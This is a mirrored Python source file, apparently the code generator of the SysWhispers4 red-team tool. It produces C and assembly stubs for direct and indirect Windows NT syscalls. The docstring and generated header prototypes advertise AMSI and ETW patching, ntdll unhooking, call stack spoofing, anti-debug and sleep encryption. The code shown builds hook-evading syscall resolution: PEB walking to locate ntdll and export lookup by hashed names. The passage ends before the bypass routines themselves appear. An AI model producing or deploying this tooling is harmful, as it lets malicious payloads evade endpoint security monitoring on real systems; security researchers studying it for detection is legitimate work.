mirror of
https://github.com/CyberSecurityUP/SysWhispers4
synced 2026-06-08 10:47:52 +00:00
2341 lines
88 KiB
Python
2341 lines
88 KiB
Python
"""
|
|
SysWhispers4 - Code Generator
|
|
Generates C headers, C runtime source, and ASM stubs for NT syscalls.
|
|
|
|
Techniques:
|
|
SSN Resolution : Static | FreshyCalls | Hell's Gate | Halo's Gate |
|
|
Tartarus' Gate | SyscallsFromDisk | RecycledGate | HW Breakpoint
|
|
Invocation : Embedded (direct) | Indirect | Randomized Indirect | Egg Hunt
|
|
Evasion : XOR SSN encryption | Call stack spoofing | ETW bypass |
|
|
AMSI bypass | ntdll unhooking | Anti-debug | Sleep encryption
|
|
"""
|
|
from __future__ import annotations
|
|
|
|
import os
|
|
import random
|
|
import textwrap
|
|
from pathlib import Path
|
|
from typing import Dict, List, Optional, Tuple
|
|
|
|
from .models import (
|
|
Architecture, Compiler, GeneratorConfig,
|
|
InvocationMethod, ResolutionMethod, SyscallParam, SyscallPrototype,
|
|
)
|
|
from .obfuscator import Obfuscator
|
|
from .utils import djb2_hash, load_prototypes, load_ssn_table_x64, load_ssn_table_x86
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Top-level entry point
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class SysWhispers4:
|
|
"""Main code generation engine for SysWhispers4."""
|
|
|
|
def __init__(self, config: GeneratorConfig):
|
|
self.cfg = config
|
|
self.obf = Obfuscator(seed=random.randint(0, 0xFFFFFFFF))
|
|
self._prototypes: List[SyscallPrototype] = []
|
|
self._ssn_x64: dict = {}
|
|
self._ssn_x86: dict = {}
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Public API
|
|
# -----------------------------------------------------------------------
|
|
|
|
def generate(self) -> Dict[str, str]:
|
|
"""
|
|
Generate all output files.
|
|
Returns: {filename: content} mapping.
|
|
"""
|
|
self._load_data()
|
|
cfg = self.cfg
|
|
|
|
outputs: Dict[str, str] = {}
|
|
|
|
# 1. Types header (SW4Syscalls_Types.h)
|
|
types_fname = f"{cfg.out_file}_Types.h"
|
|
outputs[types_fname] = self._gen_types_header()
|
|
|
|
# 2. Syscalls header (SW4Syscalls.h)
|
|
hdr_fname = f"{cfg.out_file}.h"
|
|
outputs[hdr_fname] = self._gen_syscalls_header(types_fname)
|
|
|
|
# 3. C source (SW4Syscalls.c)
|
|
c_fname = f"{cfg.out_file}.c"
|
|
outputs[c_fname] = self._gen_syscalls_c(hdr_fname)
|
|
|
|
# 4. ASM or inline-asm C
|
|
if cfg.compiler == Compiler.MSVC:
|
|
if cfg.arch == Architecture.x86:
|
|
asm_fname = f"{cfg.out_file}.x86.asm"
|
|
else:
|
|
asm_fname = f"{cfg.out_file}.asm"
|
|
outputs[asm_fname] = self._gen_asm_msvc()
|
|
else:
|
|
# MinGW / Clang: inline asm in a separate C file
|
|
asm_fname = f"{cfg.out_file}_stubs.c"
|
|
outputs[asm_fname] = self._gen_asm_gas_inline()
|
|
|
|
return outputs
|
|
|
|
def write_outputs(self, outputs: Dict[str, str]) -> None:
|
|
"""Write generated files to the configured output directory."""
|
|
out_dir = Path(self.cfg.out_dir)
|
|
out_dir.mkdir(parents=True, exist_ok=True)
|
|
for fname, content in outputs.items():
|
|
fpath = out_dir / fname
|
|
fpath.write_text(content, encoding="utf-8")
|
|
print(f" [+] Generated {fpath}")
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Data loading
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _load_data(self) -> None:
|
|
raw_proto = load_prototypes()
|
|
self._ssn_x64 = load_ssn_table_x64()
|
|
self._ssn_x86 = load_ssn_table_x86()
|
|
|
|
# Override SSN table if user provided one
|
|
if self.cfg.syscall_table and Path(self.cfg.syscall_table).exists():
|
|
from .utils import load_json
|
|
self._ssn_x64 = load_json(self.cfg.syscall_table)
|
|
|
|
for fname in self.cfg.functions:
|
|
if fname not in raw_proto:
|
|
print(f" [!] Warning: '{fname}' not found in prototypes.json, skipping.")
|
|
continue
|
|
entry = raw_proto[fname]
|
|
params = [
|
|
SyscallParam(
|
|
name=p["name"],
|
|
type=p["type"],
|
|
annotation=p.get("annotation", ""),
|
|
)
|
|
for p in entry.get("params", [])
|
|
]
|
|
self._prototypes.append(
|
|
SyscallPrototype(
|
|
name=fname,
|
|
return_type=entry.get("return_type", "NTSTATUS"),
|
|
params=params,
|
|
)
|
|
)
|
|
|
|
if self.cfg.obfuscate:
|
|
self._prototypes = [
|
|
self._prototypes[i]
|
|
for i in self.obf.shuffle_functions(
|
|
list(range(len(self._prototypes)))
|
|
)
|
|
]
|
|
|
|
# -----------------------------------------------------------------------
|
|
# XOR encryption helpers
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _xor_key(self) -> int:
|
|
if not hasattr(self, "_cached_xor_key"):
|
|
self._cached_xor_key = self.obf.generate_xor_key() if self.cfg.encrypt_ssn else 0
|
|
return self._cached_xor_key
|
|
|
|
def _ssn_value(self, ssn: int) -> int:
|
|
return ssn ^ self._xor_key() if self.cfg.encrypt_ssn else ssn
|
|
|
|
def _ssn_c_value(self, ssn: int) -> str:
|
|
v = self._ssn_value(ssn)
|
|
return f"0x{v:04X}U"
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Static SSN table helpers
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _get_static_ssns(self) -> List[Optional[int]]:
|
|
"""For static resolution: list of SSNs per function (None if unknown)."""
|
|
tbl = self._ssn_x64 if self.cfg.arch != Architecture.x86 else self._ssn_x86
|
|
result = []
|
|
for proto in self._prototypes:
|
|
entry = tbl.get(proto.name)
|
|
if entry:
|
|
numeric = {int(k): v for k, v in entry.items() if k.isdigit()}
|
|
# Use highest available build
|
|
ssn = numeric[max(numeric)] if numeric else None
|
|
else:
|
|
ssn = None
|
|
result.append(ssn)
|
|
return result
|
|
|
|
def _static_ssn_table_c(self) -> str:
|
|
"""Generate static SSN lookup table for all supported builds."""
|
|
p = self.cfg.prefix
|
|
tbl = self._ssn_x64 if self.cfg.arch != Architecture.x86 else self._ssn_x86
|
|
|
|
lines = [f"/* Build-indexed SSN table for static resolution */"]
|
|
lines.append(f"static const {p}SSN_ENTRY {p}StaticSsnTable[{p}FUNC_COUNT] = {{")
|
|
|
|
for proto in self._prototypes:
|
|
entry = tbl.get(proto.name, {})
|
|
numeric = {int(k): v for k, v in entry.items() if k.isdigit()}
|
|
if numeric:
|
|
pairs = ", ".join(
|
|
f"{{ {build}U, {self._ssn_c_value(ssn)} }}"
|
|
for build, ssn in sorted(numeric.items())
|
|
)
|
|
lines.append(f" /* {proto.name} */")
|
|
lines.append(f" {{ {len(numeric)}, {{ {pairs} }} }},")
|
|
else:
|
|
lines.append(f" /* {proto.name} - NOT IN TABLE */")
|
|
lines.append(f" {{ 0, {{ }} }},")
|
|
|
|
lines.append("};")
|
|
return "\n".join(lines)
|
|
|
|
# -----------------------------------------------------------------------
|
|
# 1. Types Header Generation
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _gen_types_header(self) -> str:
|
|
p = self.cfg.prefix
|
|
guard = f"{p}SYSCALLS_TYPES_H"
|
|
return f"""\
|
|
/*
|
|
* {self.cfg.out_file}_Types.h -- generated by SysWhispers4
|
|
* DO NOT EDIT -- regenerate with syswhispers.py
|
|
*
|
|
* Resolution : {self.cfg.resolve}
|
|
* Method : {self.cfg.method}
|
|
* Arch : {self.cfg.arch}
|
|
* Compiler : {self.cfg.compiler}
|
|
*/
|
|
#pragma once
|
|
#ifndef {guard}
|
|
#define {guard}
|
|
|
|
#include <windows.h>
|
|
#include <winternl.h>
|
|
|
|
/* =========================================================================
|
|
* SW4 -- NT type definitions not in winternl.h / ntdef.h
|
|
* ========================================================================= */
|
|
|
|
#ifndef NT_SUCCESS
|
|
# define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
|
#endif
|
|
|
|
#ifndef STATUS_SUCCESS
|
|
# define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
|
#endif
|
|
|
|
#ifndef STATUS_ACCESS_DENIED
|
|
# define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
|
|
#endif
|
|
|
|
#ifndef STATUS_INFO_LENGTH_MISMATCH
|
|
# define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
|
|
#endif
|
|
|
|
/* ---------- Process/Thread information classes --------------------------- */
|
|
#ifndef _PROCESSINFOCLASS
|
|
typedef enum _PROCESSINFOCLASS {{
|
|
ProcessBasicInformation = 0,
|
|
ProcessDebugPort = 7,
|
|
ProcessWow64Information = 26,
|
|
ProcessImageFileName = 27,
|
|
ProcessBreakOnTermination = 29,
|
|
ProcessSubsystemInformation = 75,
|
|
ProcessInstrumentationCallback = 40,
|
|
}} PROCESSINFOCLASS;
|
|
#endif
|
|
|
|
#ifndef _THREADINFOCLASS
|
|
typedef enum _THREADINFOCLASS {{
|
|
ThreadBasicInformation = 0,
|
|
ThreadTimes = 1,
|
|
ThreadPriority = 2,
|
|
ThreadBasePriority = 3,
|
|
ThreadAffinityMask = 4,
|
|
ThreadImpersonationToken = 5,
|
|
ThreadDescriptorTableEntry = 6,
|
|
ThreadEnableAlignmentFaultFixup = 7,
|
|
ThreadEventPair = 8,
|
|
ThreadQuerySetWin32StartAddress = 9,
|
|
ThreadZeroTlsCell = 10,
|
|
ThreadPerformanceCount = 11,
|
|
ThreadAmILastThread = 12,
|
|
ThreadIdealProcessor = 13,
|
|
ThreadPriorityBoost = 14,
|
|
ThreadSetTlsArrayAddress = 15,
|
|
ThreadIsIoPending = 16,
|
|
ThreadHideFromDebugger = 17,
|
|
}} THREADINFOCLASS;
|
|
#endif
|
|
|
|
/* ---------- Memory information class ------------------------------------- */
|
|
#ifndef _MEMORY_INFORMATION_CLASS
|
|
typedef enum _MEMORY_INFORMATION_CLASS {{
|
|
MemoryBasicInformation = 0,
|
|
MemoryWorkingSetInformation = 1,
|
|
MemoryMappedFilenameInformation = 2,
|
|
MemoryRegionInformation = 3,
|
|
MemoryWorkingSetExInformation = 4,
|
|
MemorySharedCommitInformation = 5,
|
|
MemoryImageInformation = 6,
|
|
}} MEMORY_INFORMATION_CLASS;
|
|
#endif
|
|
|
|
/* ---------- System information class ------------------------------------- */
|
|
#ifndef _SYSTEM_INFORMATION_CLASS
|
|
typedef enum _SYSTEM_INFORMATION_CLASS {{
|
|
SystemBasicInformation = 0,
|
|
SystemProcessInformation = 5,
|
|
SystemModuleInformation = 11,
|
|
SystemHandleInformation = 16,
|
|
SystemKernelDebuggerInformation = 35,
|
|
SystemCodeIntegrityInformation = 103,
|
|
SystemExtendedHandleInformation = 64,
|
|
}} SYSTEM_INFORMATION_CLASS;
|
|
#endif
|
|
|
|
/* ---------- Object information class ------------------------------------- */
|
|
#ifndef _OBJECT_INFORMATION_CLASS
|
|
typedef enum _OBJECT_INFORMATION_CLASS {{
|
|
ObjectBasicInformation = 0,
|
|
ObjectNameInformation = 1,
|
|
ObjectTypeInformation = 2,
|
|
}} OBJECT_INFORMATION_CLASS;
|
|
#endif
|
|
|
|
/* ---------- Token types -------------------------------------------------- */
|
|
#ifndef _TOKEN_INFORMATION_CLASS
|
|
typedef enum _TOKEN_INFORMATION_CLASS {{
|
|
TokenUser = 1,
|
|
TokenGroups = 2,
|
|
TokenPrivileges = 3,
|
|
TokenOwner = 4,
|
|
TokenPrimaryGroup = 5,
|
|
TokenDefaultDacl = 6,
|
|
TokenSource = 7,
|
|
TokenType = 8,
|
|
TokenImpersonationLevel = 9,
|
|
TokenStatistics = 10,
|
|
TokenRestrictedSids = 11,
|
|
TokenSessionId = 12,
|
|
TokenGroupsAndPrivileges = 13,
|
|
TokenSandBoxInert = 15,
|
|
TokenOrigin = 17,
|
|
TokenElevationType = 18,
|
|
TokenLinkedToken = 19,
|
|
TokenElevation = 20,
|
|
TokenHasRestrictions = 21,
|
|
TokenAccessInformation = 22,
|
|
TokenVirtualizationAllowed = 23,
|
|
TokenVirtualizationEnabled = 24,
|
|
TokenIntegrityLevel = 25,
|
|
TokenUIAccess = 26,
|
|
TokenMandatoryPolicy = 27,
|
|
TokenLogonSid = 28,
|
|
TokenIsAppContainer = 29,
|
|
}} TOKEN_INFORMATION_CLASS;
|
|
#endif
|
|
|
|
#ifndef _TOKEN_TYPE
|
|
typedef enum _TOKEN_TYPE {{
|
|
TokenPrimary = 1,
|
|
TokenImpersonation = 2,
|
|
}} TOKEN_TYPE;
|
|
#endif
|
|
|
|
/* ---------- Section / MapView types --------------------------------------- */
|
|
#ifndef _SECTION_INHERIT
|
|
typedef enum _SECTION_INHERIT {{
|
|
ViewShare = 1,
|
|
ViewUnmap = 2,
|
|
}} SECTION_INHERIT;
|
|
#endif
|
|
|
|
#ifndef _WAIT_TYPE
|
|
typedef enum _WAIT_TYPE {{
|
|
WaitAll = 0,
|
|
WaitAny = 1,
|
|
}} WAIT_TYPE;
|
|
#endif
|
|
|
|
/* ---------- PS attributes / create info ---------------------------------- */
|
|
#ifndef _PS_ATTRIBUTE_LIST
|
|
typedef struct _PS_ATTRIBUTE {{
|
|
ULONG_PTR Attribute;
|
|
SIZE_T Size;
|
|
union {{
|
|
ULONG_PTR Value;
|
|
PVOID ValuePtr;
|
|
}};
|
|
PSIZE_T ReturnLength;
|
|
}} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
|
|
|
|
typedef struct _PS_ATTRIBUTE_LIST {{
|
|
SIZE_T TotalLength;
|
|
PS_ATTRIBUTE Attributes[1];
|
|
}} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
|
|
#endif
|
|
|
|
#ifndef _PS_CREATE_INFO
|
|
typedef struct _PS_CREATE_INFO {{
|
|
SIZE_T Size;
|
|
ULONG State;
|
|
union {{
|
|
struct {{
|
|
ULONG InitFlags;
|
|
ACCESS_MASK AdditionalFileAccess;
|
|
}} InitState;
|
|
struct {{
|
|
HANDLE FileHandle;
|
|
}} FailSection;
|
|
struct {{
|
|
USHORT DllCharacteristics;
|
|
}} ExeFormat;
|
|
struct {{
|
|
HANDLE IFEOKey;
|
|
}} ExeName;
|
|
struct {{
|
|
ULONG OutputFlags;
|
|
ULONG Flags;
|
|
HANDLE FileHandle;
|
|
HANDLE SectionHandle;
|
|
ULONGLONG UserProcessParametersNative;
|
|
ULONG UserProcessParametersWow64;
|
|
ULONG CurrentParameterFlags;
|
|
ULONGLONG PebAddressNative;
|
|
ULONG PebAddressWow64;
|
|
ULONGLONG ManifestAddress;
|
|
ULONG ManifestSize;
|
|
}} SuccessState;
|
|
}};
|
|
}} PS_CREATE_INFO, *PPS_CREATE_INFO;
|
|
#endif
|
|
|
|
/* ---------- APC / Token types -------------------------------------------- */
|
|
typedef VOID (NTAPI *PPS_APC_ROUTINE)(
|
|
PVOID ApcArgument1,
|
|
PVOID ApcArgument2,
|
|
PVOID ApcArgument3
|
|
);
|
|
|
|
typedef struct _TOKEN_PRIVILEGES {{
|
|
DWORD PrivilegeCount;
|
|
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
|
|
}} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
|
|
|
|
/* ---------- Client ID ------------------------------------------------------ */
|
|
#ifndef _CLIENT_ID
|
|
typedef struct _CLIENT_ID {{
|
|
PVOID UniqueProcess;
|
|
PVOID UniqueThread;
|
|
}} CLIENT_ID, *PCLIENT_ID;
|
|
#endif
|
|
|
|
/* ---------- IO Status Block ----------------------------------------------- */
|
|
#ifndef _IO_STATUS_BLOCK
|
|
typedef struct _IO_STATUS_BLOCK {{
|
|
union {{
|
|
NTSTATUS Status;
|
|
PVOID Pointer;
|
|
}};
|
|
ULONG_PTR Information;
|
|
}} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
|
#endif
|
|
|
|
/* ---------- Security QoS -------------------------------------------------- */
|
|
#ifndef _SECURITY_QUALITY_OF_SERVICE
|
|
typedef struct _SECURITY_QUALITY_OF_SERVICE {{
|
|
DWORD Length;
|
|
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
|
|
BOOLEAN ContextTrackingMode;
|
|
BOOLEAN EffectiveOnly;
|
|
}} SECURITY_QUALITY_OF_SERVICE, *PSECURITY_QUALITY_OF_SERVICE;
|
|
#endif
|
|
|
|
/* ---------- Timer types (for sleep encryption) ----------------------------- */
|
|
#ifndef _TIMER_TYPE
|
|
typedef enum _TIMER_TYPE {{
|
|
NotificationTimer = 0,
|
|
SynchronizationTimer = 1,
|
|
}} TIMER_TYPE;
|
|
#endif
|
|
|
|
/* =========================================================================
|
|
* SW4 Internal structures used by the runtime
|
|
* ========================================================================= */
|
|
|
|
/* Entry in the static SSN lookup table */
|
|
typedef struct _{p}SSN_ENTRY {{
|
|
DWORD Count;
|
|
struct {{
|
|
DWORD Build;
|
|
DWORD Ssn;
|
|
}} Entries[64];
|
|
}} {p}SSN_ENTRY;
|
|
|
|
/* Export entry used during FreshyCalls / Hell's Gate scanning */
|
|
typedef struct _{p}EXPORT {{
|
|
PVOID Address;
|
|
DWORD Hash;
|
|
DWORD Ordinal;
|
|
}} {p}EXPORT, *P{p}EXPORT;
|
|
|
|
#endif /* {guard} */
|
|
"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# 2. Syscalls Header Generation
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _gen_syscalls_header(self, types_header: str) -> str:
|
|
p = self.cfg.prefix
|
|
guard = f"{p}SYSCALLS_H"
|
|
|
|
protos = "\n".join(
|
|
f"EXTERN_C {proto.c_prototype(prefix=p)}"
|
|
for proto in self._prototypes
|
|
)
|
|
|
|
init_comment = {
|
|
ResolutionMethod.Static: "static table -- no init required if using compile-time SSNs",
|
|
ResolutionMethod.FreshyCalls: "FreshyCalls -- sorts ntdll Nt* exports by VA",
|
|
ResolutionMethod.HellsGate: "Hell's Gate -- reads SSN from ntdll stub opcode",
|
|
ResolutionMethod.HalosGate: "Halo's Gate -- Hell's Gate + neighbor scan for hooks",
|
|
ResolutionMethod.TartarusGate: "Tartarus' Gate -- handles near/far JMP hooks",
|
|
ResolutionMethod.SyscallsFromDisk:"SyscallsFromDisk -- loads clean ntdll from KnownDlls",
|
|
ResolutionMethod.RecycledGate: "RecycledGate -- FreshyCalls + opcode validation",
|
|
ResolutionMethod.HWBreakpoint: "HW Breakpoint -- DR registers + VEH to extract SSN",
|
|
}[self.cfg.resolve]
|
|
|
|
egg_init = ""
|
|
if self.cfg.method == InvocationMethod.Egg:
|
|
egg_init = f"\nEXTERN_C BOOL {p}HatchEggs(VOID); /* Patch egg markers -> syscall opcode */"
|
|
|
|
etw_init = ""
|
|
if self.cfg.etw_bypass:
|
|
etw_init = f"\nEXTERN_C BOOL {p}PatchEtw(VOID); /* Optionally patch user-mode ETW writer */"
|
|
|
|
amsi_init = ""
|
|
if self.cfg.amsi_bypass:
|
|
amsi_init = f"\nEXTERN_C BOOL {p}PatchAmsi(VOID); /* Patch AmsiScanBuffer */"
|
|
|
|
unhook_init = ""
|
|
if self.cfg.unhook_ntdll:
|
|
unhook_init = f"\nEXTERN_C BOOL {p}UnhookNtdll(VOID); /* Remap clean ntdll .text section */"
|
|
|
|
antidebug_init = ""
|
|
if self.cfg.anti_debug:
|
|
antidebug_init = f"\nEXTERN_C BOOL {p}AntiDebugCheck(VOID); /* Check for debugger presence */"
|
|
|
|
sleep_init = ""
|
|
if self.cfg.sleep_encrypt:
|
|
sleep_init = f"\nEXTERN_C VOID {p}SleepEncrypt(DWORD dwMilliseconds); /* Sleep with memory encryption */"
|
|
|
|
return f"""\
|
|
/*
|
|
* {self.cfg.out_file}.h -- generated by SysWhispers4
|
|
* DO NOT EDIT -- regenerate with syswhispers.py
|
|
*/
|
|
#pragma once
|
|
#ifndef {guard}
|
|
#define {guard}
|
|
|
|
#include "{types_header}"
|
|
|
|
#ifdef __cplusplus
|
|
extern "C" {{
|
|
#endif
|
|
|
|
/* =========================================================================
|
|
* Runtime initialization
|
|
* {init_comment}
|
|
* ========================================================================= */
|
|
EXTERN_C BOOL {p}Initialize(VOID);
|
|
{egg_init}{etw_init}{amsi_init}{unhook_init}{antidebug_init}{sleep_init}
|
|
|
|
/* =========================================================================
|
|
* Syscall function prototypes
|
|
* ========================================================================= */
|
|
{protos}
|
|
|
|
#ifdef __cplusplus
|
|
}}
|
|
#endif
|
|
|
|
#endif /* {guard} */
|
|
"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# 3. C Source Generation
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _gen_syscalls_c(self, header_file: str) -> str:
|
|
p = self.cfg.prefix
|
|
n = len(self._prototypes)
|
|
func_names = [proto.name for proto in self._prototypes]
|
|
hashes = [djb2_hash(name) for name in func_names]
|
|
|
|
sections = [self._c_file_header(header_file)]
|
|
sections.append(self._c_constants(p, n, hashes, func_names))
|
|
sections.append(self._c_global_tables(p, n))
|
|
sections.append(self._c_hash_function(p))
|
|
sections.append(self._c_peb_ntdll(p))
|
|
sections.append(self._c_eat_scanner(p))
|
|
|
|
# Resolution methods
|
|
if self.cfg.resolve == ResolutionMethod.Static:
|
|
sections.append(self._c_static_resolution(p, n, func_names))
|
|
elif self.cfg.resolve == ResolutionMethod.FreshyCalls:
|
|
sections.append(self._c_freshycalls(p, n))
|
|
elif self.cfg.resolve == ResolutionMethod.HellsGate:
|
|
sections.append(self._c_hellsgate(p, n))
|
|
elif self.cfg.resolve == ResolutionMethod.HalosGate:
|
|
sections.append(self._c_halosgate(p, n))
|
|
elif self.cfg.resolve == ResolutionMethod.TartarusGate:
|
|
sections.append(self._c_tartarusgate(p, n))
|
|
elif self.cfg.resolve == ResolutionMethod.SyscallsFromDisk:
|
|
sections.append(self._c_syscalls_from_disk(p, n))
|
|
elif self.cfg.resolve == ResolutionMethod.RecycledGate:
|
|
sections.append(self._c_recycledgate(p, n))
|
|
elif self.cfg.resolve == ResolutionMethod.HWBreakpoint:
|
|
sections.append(self._c_hw_breakpoint(p, n))
|
|
|
|
if self.cfg.method in (InvocationMethod.Indirect, InvocationMethod.Randomized):
|
|
sections.append(self._c_gadget_finder(p, n))
|
|
|
|
if self.cfg.method == InvocationMethod.Egg:
|
|
sections.append(self._c_egg_hatcher(p))
|
|
|
|
if self.cfg.etw_bypass:
|
|
sections.append(self._c_etw_bypass(p))
|
|
|
|
if self.cfg.amsi_bypass:
|
|
sections.append(self._c_amsi_bypass(p))
|
|
|
|
if self.cfg.unhook_ntdll:
|
|
sections.append(self._c_unhook_ntdll(p))
|
|
|
|
if self.cfg.anti_debug:
|
|
sections.append(self._c_anti_debug(p))
|
|
|
|
if self.cfg.sleep_encrypt:
|
|
sections.append(self._c_sleep_encrypt(p))
|
|
|
|
sections.append(self._c_initialize(p))
|
|
return "\n\n".join(sections)
|
|
|
|
def _c_file_header(self, header: str) -> str:
|
|
return f"""\
|
|
/*
|
|
* {self.cfg.out_file}.c -- generated by SysWhispers4
|
|
* DO NOT EDIT -- regenerate with syswhispers.py
|
|
*
|
|
* Resolution : {self.cfg.resolve}
|
|
* Method : {self.cfg.method}
|
|
* Arch : {self.cfg.arch}
|
|
*/
|
|
#include "{header}"
|
|
#include <stddef.h>
|
|
#include <string.h>"""
|
|
|
|
def _c_constants(self, p: str, n: int, hashes: list, func_names: list) -> str:
|
|
hash_entries = "\n ".join(
|
|
f"0x{h:08X}U, /* {name} */"
|
|
for h, name in zip(hashes, func_names)
|
|
)
|
|
xor_macro = ""
|
|
if self.cfg.encrypt_ssn:
|
|
key = self._xor_key()
|
|
xor_macro = (
|
|
f"\n/* XOR key for SSN decryption */\n"
|
|
f"#define {p}XOR_KEY 0x{key:08X}U\n"
|
|
f"#define {p}DECRYPT(v) ((DWORD)((v) ^ {p}XOR_KEY))\n"
|
|
)
|
|
else:
|
|
xor_macro = f"\n#define {p}DECRYPT(v) (v)\n"
|
|
|
|
gadget_pool_size = 64 if self.cfg.method == InvocationMethod.Randomized else 0
|
|
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Constants
|
|
* ========================================================================= */
|
|
#define {p}FUNC_COUNT {n}U
|
|
#define {p}MAX_EXPORTS 1024U
|
|
#define {p}GADGET_POOL {gadget_pool_size}U
|
|
#define {p}GADGET_MASK ({gadget_pool_size - 1}U) /* pool must be power of 2 */
|
|
{xor_macro}
|
|
/* DJB2 hashes of function names (compile-time) */
|
|
static const DWORD {p}FuncHashes[{p}FUNC_COUNT] = {{
|
|
{hash_entries}
|
|
}};"""
|
|
|
|
def _c_global_tables(self, p: str, n: int) -> str:
|
|
addr_table = ""
|
|
if self.cfg.method in (InvocationMethod.Indirect, InvocationMethod.Randomized):
|
|
addr_table = f"\nPVOID {p}SyscallAddrTable[{p}FUNC_COUNT]; /* addr of syscall;ret in ntdll */"
|
|
gadget_pool = ""
|
|
if self.cfg.method == InvocationMethod.Randomized:
|
|
gadget_pool = (
|
|
f"\nPVOID {p}GadgetPool[{p}GADGET_POOL]; /* random syscall;ret gadgets */\n"
|
|
f"DWORD {p}GadgetPoolCount; /* entries filled in pool */"
|
|
)
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Runtime tables (populated by {p}Initialize)
|
|
* ========================================================================= */
|
|
DWORD {p}SsnTable[{p}FUNC_COUNT]; /* SSN for each function */{addr_table}{gadget_pool}"""
|
|
|
|
def _c_hash_function(self, p: str) -> str:
|
|
return f"""\
|
|
/* =========================================================================
|
|
* DJB2 hash (matches compile-time hashes above)
|
|
* ========================================================================= */
|
|
static DWORD {p}HashStr(const char* s) {{
|
|
DWORD h = 0x1505U;
|
|
while (*s) {{ h = ((h << 5) + h) ^ (unsigned char)*s++; }}
|
|
return h;
|
|
}}"""
|
|
|
|
def _c_peb_ntdll(self, p: str) -> str:
|
|
if self.cfg.arch == Architecture.x86:
|
|
peb_read = "PPEB pPeb = (PPEB)__readfsdword(0x30);"
|
|
else:
|
|
peb_read = "PPEB pPeb = (PPEB)__readgsqword(0x60);"
|
|
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Locate ntdll.dll via PEB (no Win32 API calls)
|
|
* ========================================================================= */
|
|
static PVOID {p}GetNtdllBase(VOID) {{
|
|
{peb_read}
|
|
PPEB_LDR_DATA pLdr = pPeb->Ldr;
|
|
PLIST_ENTRY pHead = &pLdr->InMemoryOrderModuleList;
|
|
PLIST_ENTRY pEntry = pHead->Flink; /* exe */
|
|
pEntry = pEntry->Flink; /* ntdll (always 2nd in InMemoryOrder) */
|
|
PLDR_DATA_TABLE_ENTRY pMod =
|
|
CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
|
return pMod->DllBase;
|
|
}}
|
|
|
|
/* Get own image base via PEB */
|
|
static PVOID {p}GetOwnImageBase(VOID) {{
|
|
{peb_read}
|
|
PLIST_ENTRY pHead = &pPeb->Ldr->InMemoryOrderModuleList;
|
|
PLDR_DATA_TABLE_ENTRY pMod =
|
|
CONTAINING_RECORD(pHead->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
|
return pMod->DllBase;
|
|
}}"""
|
|
|
|
def _c_eat_scanner(self, p: str) -> str:
|
|
return f"""\
|
|
/* =========================================================================
|
|
* EAT utility: find export by hash
|
|
* ========================================================================= */
|
|
static PVOID {p}GetProcByHash(PVOID pModule, DWORD dwHash) {{
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pModule;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);
|
|
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(
|
|
(PBYTE)pModule +
|
|
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
PDWORD pFnArr = (PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);
|
|
PDWORD pNmArr = (PDWORD)((PBYTE)pModule + pExp->AddressOfNames);
|
|
PWORD pOrArr = (PWORD) ((PBYTE)pModule + pExp->AddressOfNameOrdinals);
|
|
|
|
for (DWORD i = 0; i < pExp->NumberOfNames; i++) {{
|
|
const char* pName = (const char*)((PBYTE)pModule + pNmArr[i]);
|
|
if ({p}HashStr(pName) == dwHash)
|
|
return (PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);
|
|
}}
|
|
return NULL;
|
|
}}
|
|
|
|
/* Find export by name string (for VEH-based methods) */
|
|
static PVOID {p}GetProcByName(PVOID pModule, const char* szName) {{
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pModule;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);
|
|
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(
|
|
(PBYTE)pModule +
|
|
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
PDWORD pFnArr = (PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);
|
|
PDWORD pNmArr = (PDWORD)((PBYTE)pModule + pExp->AddressOfNames);
|
|
PWORD pOrArr = (PWORD) ((PBYTE)pModule + pExp->AddressOfNameOrdinals);
|
|
|
|
for (DWORD i = 0; i < pExp->NumberOfNames; i++) {{
|
|
const char* pName = (const char*)((PBYTE)pModule + pNmArr[i]);
|
|
DWORD j = 0;
|
|
while (pName[j] && szName[j] && pName[j] == szName[j]) j++;
|
|
if (pName[j] == 0 && szName[j] == 0)
|
|
return (PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);
|
|
}}
|
|
return NULL;
|
|
}}
|
|
|
|
